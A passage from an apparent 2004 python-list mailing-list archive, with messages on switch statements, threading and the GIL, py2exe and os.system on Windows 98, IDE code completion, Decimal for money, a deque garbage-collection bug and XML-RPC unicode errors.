strong motivation to do so as opposed to just releasing your > own extension to the public). > > > states, this problem is due to the "underlying C platform". I just find > > it funny how a $20 calculator can be more accurate than Python running > > on a $1000 Intel machine. > > You can get a calculator much cheaper than that these days (and "intel > machines" not too out of the mainstream for well less than half, as well > as several times, your stated price). It's pretty obvious that the > price of the hardware has nothing to do with that "_CAN_ be more > accurate" issue (my emphasis) -- which, incidentally, remains perfectly > true even in Python 2.4: it can be less, more, or just as accurate as > whatever calculator you're targeting, since the precision of decimal > computation is one of the aspects you can customize specifically... > > > Alex From eurleif at ecritters.biz Fri Sep 10 22:27:45 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Fri, 10 Sep 2004 22:27:45 -0400 Subject: Is there no switch function in Python In-Reply-To: References: <1Zb*VOguq@news.chiark.greenend.org.uk> <87llfip5ep.fsf@sinken.local.csis.hku.hk> Message-ID: <2qf5tfFvbjpbU1@uni-berlin.de> Jaime Wyant wrote: > Don't blame c++. This is a relic of 'C'. Kind of like saying, "Don't blame me for being a violent thug, I went to ShootEm Elementary School." Sure, C++ inherited lots of questionable features from C, but there's never been a law requiring all programming languages to be extensions of C. The designers of C++ must have known about C's faults; it's their own fault for choosing to use it in the first place. From FBatista at uniFON.com.ar Thu Sep 9 10:43:48 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Thu, 9 Sep 2004 11:43:48 -0300 Subject: Python doc experiment Message-ID: [A.M. Kuchling] #- As a half-hour hack, I took a copy of the Python docs, stuck #- them in a #- frameset, and added some JavaScript that displays a #- corresponding Wiki page #- in another frame. Feel free to play with #- http://pydoc.amk.ca/frame.html; #- please record problems on the Wiki page at #- http://pydoc.amk.ca/w/KnownProblems . Interesting experiment. I certainly appreciate your work. And I think here is the place to comment this: I find *very* useful the way that MySQL handles this. It shows the standard text for the item (the same text that the PDF) and lets the user to add comments (not to edit the other text). You can see one example at http://dev.mysql.com/doc/mysql/en/Insert_speed.html. This way, user experience can be added to each item. More, this can be useful to the responsible of that doc to get important feedback, and maybe in later versions he/she can get this feedback *into* the std docs, or fix bugs in the docs, etc. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From jmfbahciv at aol.com Thu Sep 2 07:56:01 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Thu, 02 Sep 04 11:56:01 GMT Subject: Xah Lee's Unixism References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134a207$0$65568$a1866201@newsreader.visi.com> <1599.740T867T6683932@kltpzyxm.invalid> Message-ID: <41371d1e$0$19723$61fed72c@news.rcn.com> In article <1599.740T867T6683932 at kltpzyxm.invalid>, "Charlie Gibbs" wrote: >In article , >jwkenne at attglobal.net (John W. Kennedy) writes: > >>Craig A. Finseth wrote: >> >>> Wrong. The / was chosen as the command line option separator >>> because whoever wrote MSDOS was looking to CP/M, who modelled >>> their commands after a PDP-11 operating system (RT-11?). Consider >>> the "PIP" command. > >At least PIP would copy zero-length files. Until I started using this braindead OS, I hadn't realized how spoiled I was w.r.t. combining listed files into one. > >>> When they went to MS/DOS 2.0 and needed path separators, they >>> found that "/" was already taken, so they used "\". But there >>> was a hidden way to tell the command interpreter that it could >>> use "-" for options. >> >>Except, of course, that it was useless, because 99% of programs did >>their own option parsing, and still do. The hidden option only lasted >>one .1 subrelease, as I recall. > >Yes, my programs indeed do their own parsing. And they insist on >"-", no matter which OS they're running on. :-) And everybody had to invent their own continuation characters. > >>> And in all systems starting with 2.0, the system calls have taken "/" >>> and "\" interchangably. >> >>...which is /one/ thing that the FLOSS community can honestly thank them >>for. > >Now, do you trust Microsoft to keep it that way? I don't. That's why >my programs are full of things like: > >#ifdef DOSWIN > strcat (filespec, "\\"); >#else > strcat (filespec, "/"); >#endif > >Yes, it's bulky and ugly. But it's also future-proof. > Well, it is until code substitution at execution time is provided as a service. /BAH Subtract a hundred and four for e-mail. From news at NOwillmcguganSPAM.com Tue Sep 14 10:50:20 2004 From: news at NOwillmcguganSPAM.com (Will McGugan) Date: Tue, 14 Sep 2004 15:50:20 +0100 Subject: Style conventions for Python code In-Reply-To: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> References: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> Message-ID: <4147052d$0$22753$db0fefd9@news.zen.co.uk> Thanks all. Just what I was looking for :) Will McGugan From peter at engcorp.com Tue Sep 28 16:00:44 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 16:00:44 -0400 Subject: using threads with for-loops In-Reply-To: References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: Mathias Waack wrote: > Peter Hansen wrote: >>Klaus Neuner wrote: >>>I wrote a program that does essentially the following: >>> >>>for rule in rules: >>>for line in line_list: >>>line = my_apply(rule, line) >>> >>>line_list contains the lines of some input text. >>> >>>To "apply a rule" always means to >>> >>> 1. do some regex matches on line >>> 2. substitute something in line >>> >>>My question is: Given this "architecture", does it make sense >>>to use threads? And if so, how? >> >>The code is (based on what you give above) "CPU bound", >>which means you will not see any advantage in using >>threads. > > Have you ever seen machines with more than one CPU? Why yes, I have! And have *you* seen an implementation of Python which will effectively use those multiple CPUs in code like that above which runs in a single process? And do you think it likely that the OP is dealing with a multiple CPU situation, but managed to forget to mention it? I didn't think it likely, which is why when I considered the multi-CPU situation I discarded the idea. Perhaps, however, I was too quick to judge... > The code above is perfectly suited for parallelization. Yes, it is. Once you take into account implementation issues (e.g. the GIL), would you still think so? -Peter From marcus at deepfort.com Wed Sep 22 18:15:03 2004 From: marcus at deepfort.com (marcus at deepfort.com) Date: Wed, 22 Sep 2004 23:15:03 +0100 Subject: some basic questions... In-Reply-To: References: Message-ID: <4151F967.30204@deepfort.com> >[book quote] >When a file containing python code is executed, the built in variable _name_ >is populated with the name of the module being executed. If the value of >_name_ is _main_, then that file is the original file that was used to >invoke the application from command line or an icon. >This is usefull, as it allows code to know the difference between when it is >invoked & when it is imported by another python program. It is also provides >a convenient place to provide one-time startup code. >[end quote] > > >Can someone explain this in some different wording, because I dn't know if >my understanding of what is said in that paragraph is right or not? > *When you import a python module, the value in that module's __name__ attribute will be its own name. When you "run" the same python module, the value in that module's __name__ attribute will be "__main__"* That means, simply, you can differentiate between the module that is being explicitly run, say from a shell, and the module that is imported, by looking at the particular module's __name__ attribute. You can demonstrate this to yourself thus: 1. run a python file(module) in interactive mode and look at the value of __name__ you at host$ python -i test.py >>> __name__ '__main__' 2. in a new python shell, import the same python module and look at the value of module.__name__ you at host$ python Python 2.3.4 (May 29 2004, 19:23:07) [GCC(ellipsis)] on HesnottheMessiahhesaverynaughtyboy Type "help", "copyright", "credits" or "license" for more information. >>> import test >>> test.__name__ 'test' I hope that demonstrates it, and yes, it's probably a terrible example (use a module which exists in your path for the second one :-) ) So say where you had: import pyui if __name__ == '__main__': x = Application(width, height) x.run() if __name__ == '__main__': - means "only run the next bit of code if this module is explicitly run, and ignore it if this module is imported." I've probably explained it really, really badly. Good to see another mere mortal on the list though :-) >Can somebody explain what the, "self" is actually for?? > > The self points back to the instance you will create at runtime. The best thing I can suggest for that is to get used to using it, as it will make more and more sense to you as you go on. (Some would growl that's debatable - not me though :-) ) From michele.petrazzo at TOGLIunipex.it Tue Sep 14 07:13:08 2004 From: michele.petrazzo at TOGLIunipex.it (Michele Petrazzo) Date: Tue, 14 Sep 2004 13:13:08 +0200 Subject: [WX] wxRadioBox and change choice Message-ID: I create a widget like this: self.rb_method = wxRadioBox(choices=['choice1', 'choice2'], id=-1, label='Method', name='rb_method', parent=self, point=wxPoint(8, 320), size=wxSize(168, 72), style=wxRA_SPECIFY_COLS,) I want to change choice (the choice' labels) in runtime use, so in my code, choice1 -> test1, choice2 -> test2 The wxRadioBox have Setlabel method, but it only change the "title", not the choices. Is it possible to do it? Or I must destroy and recreate the widget? Thanks, Michele Petrazzo From M.Waack at gmx.de Tue Sep 28 15:25:17 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Tue, 28 Sep 2004 21:25:17 +0200 Subject: using threads with for-loops References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: Peter Hansen wrote: > Klaus Neuner wrote: >> Hello, >> >> I wrote a program that does essentially the following: >> >> for rule in rules: >> for line in line_list: >> line = my_apply(rule, line) >> >> line_list contains the lines of some input text. >> >> To "apply a rule" always means to >> >> 1. do some regex matches on line >> 2. substitute something in line >> >> My question is: Given this "architecture", does it make sense >> to use threads? And if so, how? > > The code is (based on what you give above) "CPU bound", > which means you will not see any advantage in using > threads. Have you ever seen machines with more than one CPU? The code above is perfectly suited for parallelization. Mathias From Mike at Geary.com Sun Sep 5 01:46:06 2004 From: Mike at Geary.com (Michael Geary) Date: Sat, 4 Sep 2004 22:46:06 -0700 Subject: Help req: py2exe's compiled executables only working with XP References: <173c23bb.0408282105.4cd76e07@posting.google.com> <153fa67.0408290602.10b80c47@posting.google.com> <173c23bb.0409011956.56aa222d@posting.google.com> <173c23bb.0409022140.5cda71a8@posting.google.com> <173c23bb.0409042015.3f45ca64@posting.google.com> Message-ID: <10jla0v3ae5eq6e@corp.supernews.com> >> > > I guess I should describe the problem more. When I go to execute, >> > > nothing visibly happens. >> > Did you try running them from a console (cmd.exe or command.com)? >> Yes, same problem. > Is there any reason for these executables to be acting this way? I don't know if the problem lies in the Python code or somewhere else, but it would be worth checking for DLL (dynamic link library) dependencies. Go to www.dependencywalker.com and download Dependency Walker. Run it and then drag and drop your .exe file onto it. It may show you a missing dependency right away (except if there's one for MPR.DLL you can ignore that). More likely, it won't show any problems yet. Press F7 to run your program under Dependency Walker. A big dialog full of options will come up, but the default settings are fine. Click OK and it will run your program and show you the additional DLL dependencies that come up as your program runs. This may turn up something or it may not, but it's a good quick test. Read the FAQ on the Dependency Walker page and it will give you some more information about this program. -Mike From cappy2112 at gmail.com Wed Sep 29 20:19:18 2004 From: cappy2112 at gmail.com (Tony C) Date: 29 Sep 2004 17:19:18 -0700 Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> <81a41dd.0409282240.739cb257@posting.google.com> <4_CdnUGCt9u3CcfcRVn-pA@powergate.ca> <81a41dd.0409290652.61d6aaa4@posting.google.com> Message-ID: <8249c4ac.0409291619.2cd87a4f@posting.google.com> export at hope.cz (Lad) wrote in message news:<81a41dd.0409290652.61d6aaa4 at posting.google.com>... > Peter L Hansen wrote in message news:<4_CdnUGCt9u3CcfcRVn-pA at powergate.ca>... > > Lad wrote: > > > Peter Hansen wrote in message news:... > > > > > >>Lad wrote: > > >> > > >>>I used Py2exe to compile my script( I use XP). > > >>>The compiled script works OK on my XP where Python is installed. > > >>>But when I install the compiled exe to another computer, > > >> > > >>What operating system is the other computer running? > > > > > > The other Operating system( that does not work with os.system) is Windows 98 > > > > That's the source of your problem. Win98 doesn't work the way > > XP/NT does, and you *cannot* use os.system() in this way to > > get the expected behaviour. Find another approach... maybe > > read the registry entries for .TXT files and launch NotePad > > directly... > I found out the following: > on Xp I can use > os.system('IDPass.txt') > > but on Win98 > it does not work. > So I must use > os.system('notepad.exe IDPass.txt') to open IDPass.txt file > but the problem with Win 98 is the following: > Notepad is launched but the Python running program ( exe compiled > script) is not paused( until I close the Notepad window) but continues > running with the next command.In other words Notepad runs > independently on my exe program. > WHY? > > Lad > > > if verseOS[3]==2:#XP > os.system('IDPass.txt') > if verseOS[3]==1:#Windows 95/98/ME > print "Windows 95/98/ME running" > os.system('notepad.exe IDPass.txt') You can use this instead of os.system() import os fh=os.popen("notepade myfile.txt") fh.close() (but you should add the appropriate exception handling) This opens notepad and python will exit if you ran it like this python myscript.py myfile.txt If you ran python interactively, then you are returned to the python command line, after the os.popen() statement. In which case you should manually close the file, as shown above. fh is a file object, so if you want to you can read from that object. This should work on W98, Win2K, Win XP and does not depend on any file associations. I would not use os.startfile() for anything, if you are expecting to open a specific application that is associated with a file extension, because many applications re-associate file extensions during installation. Additionally, The user may have intentionally re-associated .TXT with a different program, because notepad is so lame. There are many variations of popen(), but popen() is probably the simplest for your situation. From timr at probo.com Sun Sep 26 02:31:10 2004 From: timr at probo.com (Tim Roberts) Date: Sat, 25 Sep 2004 23:31:10 -0700 Subject: wave.readframes() (or conversion?) References: Message-ID: andrea valle wrote: > >I'm using wave module with success. I'm writing data to wave file. >Typically I create a list of values (data) and pass it to >.writeframes(data) methods. > >a = wave.open("/test.wav", "w") >a.writeframes([32000, 0]) What version of Python are you using?? On my Win32 Python 2.3, writeframes accepts only strings, and only after you have set the frame rate, sample size, and number of channels. >But when I use the .readframes() method I don't know exactly what >values I extract from the open wave. > > >>> a = wave.open("/test.wav", "r") > >>> a.readframes(1) >'\x00\x00' >What does it mean? (hexa?) >How do I convert it to an integer? I'd like to have it like 32000 or 0, >so to make some maths on it. You get back a buffer of bytes. You can use the array() module to convert it to a list of integers. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From elbertlev at hotmail.com Wed Sep 15 06:37:32 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 15 Sep 2004 03:37:32 -0700 Subject: i am going to get crazy!!! References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> Message-ID: <9418be08.0409150237.16f90c36@posting.google.com> xv0017python at yahoo.com (andresm) wrote in message news:<4a9d4c93.0409141615.1d1ab0cb at posting.google.com>... > I cant believe there is no single decent open source for python, all > them miss some of the most core features an ide should have, i just > cant believe this!!! I have been looking for a decent ide for one > weak, i have tried all of them, all. the only kick ass one is ipython, > but thats a shell that shows how an ide should be. > > I come from a java background using eclipse, netbeans,intellij,etc > and i realy liked to learn python =( , java sucks for tons of reasons, > but i dont now what to do the most important feature of an ide is > syntax coloring and "full code completion suport". > > For example if i am learning how to use the sys module in my code and > while i am writing like : > > sys . > > A list should appear showing me all the attributes of the module or > class : variables,locals,globals,builtins,etc and when i focus on one > item for example " setprofile " method the documentation of the method > should appear in another popup , that way i can learn the libraries > fast and in an interactive way. Is all i want in an ide ALL IDES have > this. Why python ones dont ? in spe you get everything that is in the > namespace,not just the object before the dot triger,same in eric3, in > komodo you get just the functions, no docs. > > Whats wrong with my common sense? all ides for php,java,c have this > feature , is all i want to be able to program fast =( . > > But i have to alt-tab to konsole to the ipython shell, type help(sys) > , find the doc and info i need and go back to the editor again, is > like 20 seconds comparing to 1 with code completion suport. > > How do you guys program without a feature like this? that is the only > reason i need an ide, how do you remember all the methods names, > parameters , attributes , classes, behavior while coding with an ide > not suporting this tools? i wont memorize all of them =( is > contraproducent if a tool can help, not to mention when learing new > libraries, memorize again? or take 10 seconds every time you dont > remember something to take the time to look into it? What should i > do? T_T I agree with you. I find myself jumping from TextPad or vim to PythonWin, because TextPad does not have help/autocompletion, but is fast (not so vim or emax). PythonWin is slow but has a debugger and a sort of semyfunctional help/autocompletion. SPE looks good, but lacks debugger and project/workspace management. In short: none of this tools does not come close to Visual C IDE. From borg at swirve.com Fri Sep 3 08:25:05 2004 From: borg at swirve.com (Adrian B.) Date: 3 Sep 2004 05:25:05 -0700 Subject: embedding Python and changing stdin, stdout and stderr References: <907142f3.0409020854.2dda735c@posting.google.com> Message-ID: <7ed8f64d.0409030425.211e5a9c@posting.google.com> vincent.touquet at gmail.com (Vincent Touquet) wrote in message news:<907142f3.0409020854.2dda735c at posting.google.com>... > Hi, > > In a project where I have embedded Python in a C++ application, I have > the need to replace what Python considers to be stdin, stdout and/or > stderr. > Checkout this thread: http://mail.python.org/pipermail/c++-sig/2004-September/008014.html From aleaxit at yahoo.com Thu Sep 23 04:18:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 10:18:03 +0200 Subject: Emacs is going to die! =( [was Re: Emacs + python References: <278de0e.0409201131.57baf7f9@posting.google.com> <414f61bf$0$29449$636a15ce@news.free.fr> <87hdprv3qd.fsf_-_@ion.xlipstream.com> Message-ID: <1gkk9lv.184dvpkv6ff3bN%aleaxit@yahoo.com> CarlosRivera wrote: > What is happening with Jython now adays? I vaguely remember something > about the main develope got hired by M$. Jim Hugunin (the guy who just got hired by Microsoft) _initiated_ JPython but he hadn't been active on the project for awhile; he's currently been doing IronPython, roughly a Jython-equivalent for dotNet, and his work with the Common Language Runtime is no doubt part of why Microsoft hired him. Alex From tim.peters at gmail.com Thu Sep 30 21:31:22 2004 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 30 Sep 2004 21:31:22 -0400 Subject: SegFault using deque in 2.4b3 In-Reply-To: References: Message-ID: <1f7befae04093018315048b5fe@mail.gmail.com> [George Yoshida] > A bit simpler version(narrow the problem). ... Thanks! It's more efficient to open a bug report. Running your program in a debug build triggers an assertion failure in deque's C implementation, which enabled finding a simple fails-every-time-at-the-same-place one-thread test case: from collections import deque import gc d = deque() for i in xrange(100): print i, d.append(1) gc.collect() deque isn't setting up its garbage-collection correctly; that should be fixed soon. From olivier.parisy at free.fr Fri Sep 17 10:07:28 2004 From: olivier.parisy at free.fr (Olivier Parisy) Date: Fri, 17 Sep 2004 16:07:28 +0200 Subject: (Synchronous) Thread Control [Solved!] In-Reply-To: <7aKdnZx7w9KbcdfcRVn-tg@powergate.ca> References: <414adb28$0$32714$626a14ce@news.free.fr> <7aKdnZx7w9KbcdfcRVn-tg@powergate.ca> Message-ID: <414aefa1$0$17703$626a14ce@news.free.fr> phansen wrote: > Olivier Parisy wrote: > >> It seems like the main thread never exits from join(), in spite of >> the timeout and the likeliness of the sub thread ending. >> >> Any idea of what I've done wrong? > > Nothing at all. It works fine here. (And nice clean code > you have, by the way.) Hey, thanks! High-level languages are nice in that you can spend more time on polish, indeed :-) > Are you running this from the command line, or inside some > other tool, or something else unusual? What versions of > Python and OS are you using? Gosh, you are right: this definitely works fine in the command line. I was running this from a Linux file manager (using "launch in a terminal" and "keep the terminal open" options), but something seems to be wrong with this approach. Regards, Olivier. From thats at it.com Sun Sep 5 19:07:36 2004 From: thats at it.com (Baalbek) Date: Mon, 06 Sep 2004 01:07:36 +0200 Subject: [IronPython] Jim Hugunin's web log. In-Reply-To: <278de0e.0409042159.2e743d89@posting.google.com> References: <278de0e.0408302346.62cfc40b@posting.google.com> <278de0e.0409042159.2e743d89@posting.google.com> Message-ID: Neuruss wrote: >>How naive are you? > > > I don't think I'm naive. I just don't suffer paranoia. > > Regarding Ironpython, I just love to see it alive. > I love python, and I want to see it running everywhere. What's the > problem with python in the CLR? None! One place more to see it > running! Sorry, it came of more harshly than I intended. I only reacted to "this time, I think they shifted their policies drastically", which has been believed time and again, and one has lived to regret trusting Microsoft, as far as I know. As far as your other statements, no problems at all with me, I too would like to see Python going "where no other programming language has dared to go" :-) From john.kos at gmail.com Thu Sep 23 16:15:57 2004 From: john.kos at gmail.com (JK) Date: 23 Sep 2004 13:15:57 -0700 Subject: Access to MS SQL from Linux? References: Message-ID: Try http://www.easysoft.com/products/2002/mxodbc.phtml as a guide. JK "Joe Wong" wrote in message news:... > Hi Tim, > > Thanks for the pointer, I just tried freetds with sybase python, I can use > tsql to connect to MS SQL but the python library failed > : > > Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443 > > I am using MSSQL 2000 server, is this a problem? > > Thanks! > > - Joe > > ----- Original Message ----- > From: "Tim Golden" > To: "'Joe Wong'" ; > Sent: Thursday, September 23, 2004 4:23 PM > Subject: RE: Access to MS SQL from Linux? > > > > [Joe Wong] > > > > > Hi, > > > > Is there any Python library for accessing MS SQL server > > > from a Linux machine? Either open source or commerical one will do for > me. > > > > (Assuming you have FreeTDS installed: http://www.freetds.org/): > > > > http://www.object-craft.com.au/projects/mssql/ > > > > or > > > > http://www.object-craft.com.au/projects/sybase/ > > > > will both do the trick. > > > > Or if you have ODBC: > > > > mxODBC: http://www.egenix.com/files/python/mxODBC.html > > > > TJG > > > > ________________________________________________________________________ > > This e-mail has been scanned for all viruses by Star. The > > service is powered by MessageLabs. For more information on a proactive > > anti-virus service working around the clock, around the globe, visit: > > http://www.star.net.uk > > ________________________________________________________________________ > > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22 From M.Waack at gmx.de Mon Sep 20 16:18:20 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Mon, 20 Sep 2004 22:18:20 +0200 Subject: Python binaries for Solaris, HP-UX References: <973u12-rta.ln1@valpo.de> <46d022-k59.ln1@valpo.de> Message-ID: Paul Moore wrote: > Ah! That's the thing I needed. Thanks for your patience - I'll go > and try it out. Please let us know if it works. I've installed only very small packages like libxml this way. Would be interesting for other people with the same problem... Mathias From carribeiro at gmail.com Thu Sep 23 13:09:29 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 14:09:29 -0300 Subject: Question: How efficient is using generators for coroutine-like problems? Message-ID: <864d370904092310096c2cc962@mail.gmail.com> As a side track of my latest investigations, I began to rely heavily on generators for some stuff where I would previsouly use a more conventional approach. Whenever I need to process a list, I'm tending towards the use of generators. One good example is if I want to print a report, or to work over a list with complex processing for each item. In both cases, a simple list comprehension can't be used. The conventional approach involves setting up a empty result list, looping over the list while appending the result, and finally returning it. For strings, it's something like this: def myfunc(items): result = [] result += ["Start of processing"] for item in items: # do some processing with item ... result += [str(item)] result += ["End of processing"] return result This code is not only ugly to read, but it's inefficient because of the way list and string concatenations are handled. Other alternatives involve adding directly to the string, or using CStringIO. But I think you've got the point. Now, using generators, the function code gets simpler: def myfunc(items): yield "Start of processing" for item in items: # do some processing with item ... yield str(item) yield "End of processing" I can print the results either way: a) for line in myfunc([...]): print line b) print "\n".list(myfunc([...])) And I have other advantages -- no concatenations in the function code, and the list can be generated as needed. This has the potential to make the system less resource intensive (specially for large lists) and more responsive. Now, just because I can do it does not mean it's a good idea :-) For particular cases, a measurement can be done. But I'm curious about the generic case. What is the performance penalty of using generators in situations as the ones shown above? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From frithiof.jensen at die_spammer_die.ericsson.com Tue Sep 14 05:58:53 2004 From: frithiof.jensen at die_spammer_die.ericsson.com (Frithiof Andreas Jensen) Date: Tue, 14 Sep 2004 11:58:53 +0200 Subject: optimizing memory utilization References: Message-ID: "Anon" wrote in message news:pan.2004.09.14.04.38.02.647096 at ymous.com... > Any data structures suggestions for this application? BTW, the later > accesses to this database would not benefit in any way from being > presorted, You keep saying it yourself: Use a Database ;-). Databases "knows" about stuff in memory, as well as any searching and sorting you might dream up later. Python supports several, the simplest is probably PySQLite: http://sourceforge.net/projects/pysqlite/ From mark at prothon.org Tue Sep 7 03:30:25 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 7 Sep 2004 00:30:25 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de> Message-ID: <1fmsb0841pkh6.1uc8ez0rz34kr$.dlg@40tude.net> On Tue, 07 Sep 2004 03:26:48 -0400, Leif K-Brooks wrote: > Roger Binns wrote: >> I did actually send an email to Google labs suggesting they come >> up with an "naming" tool where you could suggest what style of >> name you wanted (eg scientific, Italian, computery) and it would >> generate random strings of that form with no entries in the >> index. They never responded. > > That actually wouldn't be very hard to do on your own. You'd just have > to get long word (phrase?) lists for each type of name (and maybe a > general list that'd be used for all types), then use Markov Chains to > generate a name from one of the lists. Then check how many results you > get from the Google API, and generate a new one if there are any. > > Maybe I'll try it next time I'm in the mood to code something random... I remember way back in the '60s a public relations firm working for the Atlantic Richfield Company made a big deal about using the latest computer technology to generate thousands of potential names for new gas stations that their client was going to open. After all that the Atlantic Richfield Company chose "ARCO". :-) From timr at probo.com Tue Sep 28 02:32:04 2004 From: timr at probo.com (Tim Roberts) Date: Mon, 27 Sep 2004 23:32:04 -0700 Subject: Wiki on Python and Web Programming? Message-ID: <971il0hgt4ubrcd396figprevcvmh5epfn@4ax.com> Isn't there a wiki somewhere that compares and contrasts the various web architectures available for Python? I've realized that I have built web sites based on at least 4 of the popular contenders, and my experiences might be valuable to others. I thought I remembered a comparison wiki, but I can't find it now. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From FBatista at uniFON.com.ar Wed Sep 22 12:39:57 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 22 Sep 2004 13:39:57 -0300 Subject: Why not FP for Money? Message-ID: [aleaxit at yahoo.com] #- > Of course, one can take extra precautions to always have #- correct numbers #- > when working with floats and monetary amounts (eg. I did #- that for the #- > Excel sheet the sales dpt used). Why bother, though, if #- one has the #- > Decimal type? #- #- It seems to me that you just showed that decimal is no panacea: you #- still have to know where to round and to which precision. #- decimal is a #- great tool but is not and cannot be a magic wand... Remember all that Decimal is a first step to a Money data type, which for example, could deal with this. It's clear to me now that it's better to build a Money data type over Decimal. When I proposed a pre-PEP for Money, that was clear to others, and that's why I was "redirected" to work in Decimal. . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From tdelaney at avaya.com Thu Sep 9 00:47:54 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Thu, 9 Sep 2004 14:47:54 +1000 Subject: Why is this legal? Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE4A8FAD@au3010avexu1.global.avaya.com> Michael George Lerner write: > cluster = [(c.resi,c) for c in cluster] # decorate > cluster.sort() # sort > cluster = [c for (c.resi,c) in cluster] # undecorate > > That last line actually assigns c.resi for each c in cluster. Normally the best way to write the above is: cluster = [(c.resi,c) for c in cluster] # decorate cluster.sort() # sort cluster = [c[-1] for c in cluster] # undecorate It's shorter, clearer, works no matter how many elements are in the decoration, and doesn't have the danger of your version. Tim Delaney From http Sat Sep 25 04:47:43 2004 From: http (Paul Rubin) Date: 25 Sep 2004 01:47:43 -0700 Subject: Why not FP for Money? References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> Message-ID: <7xr7oqd9ao.fsf@ruckus.brouhaha.com> Andrew Dalke writes: > I'm against adding new literals. There hasn't been > one added since complex in ... must have been the > mid-1990s. Boolean literals were added just a few months ago. From __peter__ at web.de Thu Sep 9 03:20:50 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 09 Sep 2004 09:20:50 +0200 Subject: Set and {} comparison confusion References: Message-ID: Roman Yakovenko wrote: > Hi. Could somebody explain why sets and dict are different ? >>> class A(object): ... def __eq__(self, other): ... return True ... >>> dict.fromkeys([A()]) == dict.fromkeys([A()]) False >>> class B(object): ... def __eq__(self, other): ... return True ... def __hash__(self): ... return 0 # not recommended ... >>> dict.fromkeys([B()]) == dict.fromkeys([B()]) True For two dictionary keys to be considered as equal they must have the same hash value. Set is implemented on top of dictionaries and therefore shows the same behaviour. Peter From pyronicide at gmail.com Thu Sep 16 19:48:12 2004 From: pyronicide at gmail.com (Thomas) Date: 16 Sep 2004 16:48:12 -0700 Subject: XML_RPC and unicode problems Message-ID: <7bf84d19.0409161548.521da358@posting.google.com> I am currently passing email messages over XML_RPC as the payload for a certain function call. On some of these messages, XML_RPC blows up on the server side and says something to the effect of: exceptions.UnicodeDecodeError: 'utf8' codec can't decode byte 0xa0 in position 1599: unexpected code byte Using the native Python codec for doing conversions gives me a similar error ('utf8' codec can't decode byte 0x93 in position 1328: unexpected code byte). That gives me the feeling that these specific messages are just funky. (Looking at the location in the file that they are choking seems to be random characters) What I've come to believe is that XML_RPC automatically assumes any strings it transfers are unicode and thusly tries to do conversions on these strings. Therefore, is there any way to keep XML_RPC from doing unicode conversions, or is there some way for me to just pass raw data over XML_RPC without having to worry about it? From mlh at furu.idi.ntnu.no Thu Sep 9 18:13:28 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Thu, 9 Sep 2004 22:13:28 +0000 (UTC) Subject: ANN: Python Graph Wiki Message-ID: Based on a tiny spark of interest in comp.lang.python, I've created a temporary wiki for chiseling out a possible standard API/protocol for graphs in Python at http://www.idi.ntnu.no/~mlh/python-graph-wiki.cgi This is *not* about creating a standard module or standard code. It *is* about defining a standard notion of graph -- how they should behave to increase interoperability between graph algorithms. The idea is that if there is enough interest -- and enough ideas -- there may eventually be a proposal for an informational PEP, similar to the Python DB API. If you have thoughts or ideas, feel free to contribute. NOTE: The entire wiki *will* be deleted in the future. This is for temporary discussion only. If you contribute material that you wish to keep, keep a backup of it yourself. Everything added to the wiki is considered to be in the public domain. -- Magnus Lie Hetland The time you enjoy wasting is not wasted time http://hetland.org -- Bertrand Russel From eurleif at ecritters.biz Fri Sep 10 22:20:13 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Fri, 10 Sep 2004 22:20:13 -0400 Subject: Is there no switch function in Python In-Reply-To: References: <1gjv9x9.ory9xvc5569dN%aleaxit@yahoo.com> Message-ID: <2qf5f9Fv0eamU1@uni-berlin.de> Bengt Richter wrote: > But IWT if we had named local code suites, we could exec them safely via a mapping. E.g., > > def foo(var): # following is not legal code ;-) > v1: print 'var is one' > v2: # any suite should be ok, not just one-liners > print 'var', > print 'is two' > switch = {1:v1, 2:v2} > exec switch.get(var, '') I'm probably missing something, but what's wrong with: def foo(var): def v1(): print 'var is one' def v2(): print 'var', print 'is two' switch = {1:v1, 2:v2} switch.get(var, lambda:None)() From graham.fawcett at gmail.com Thu Sep 16 20:56:33 2004 From: graham.fawcett at gmail.com (Graham Fawcett) Date: 16 Sep 2004 17:56:33 -0700 Subject: NEW MAINTAINER for Pymacs In-Reply-To: Message-ID: Merci beaucoup, Fran?ois; and thank you, Syver, for carrying the torch! Pymacs is a great tool, and it's excellent to know that 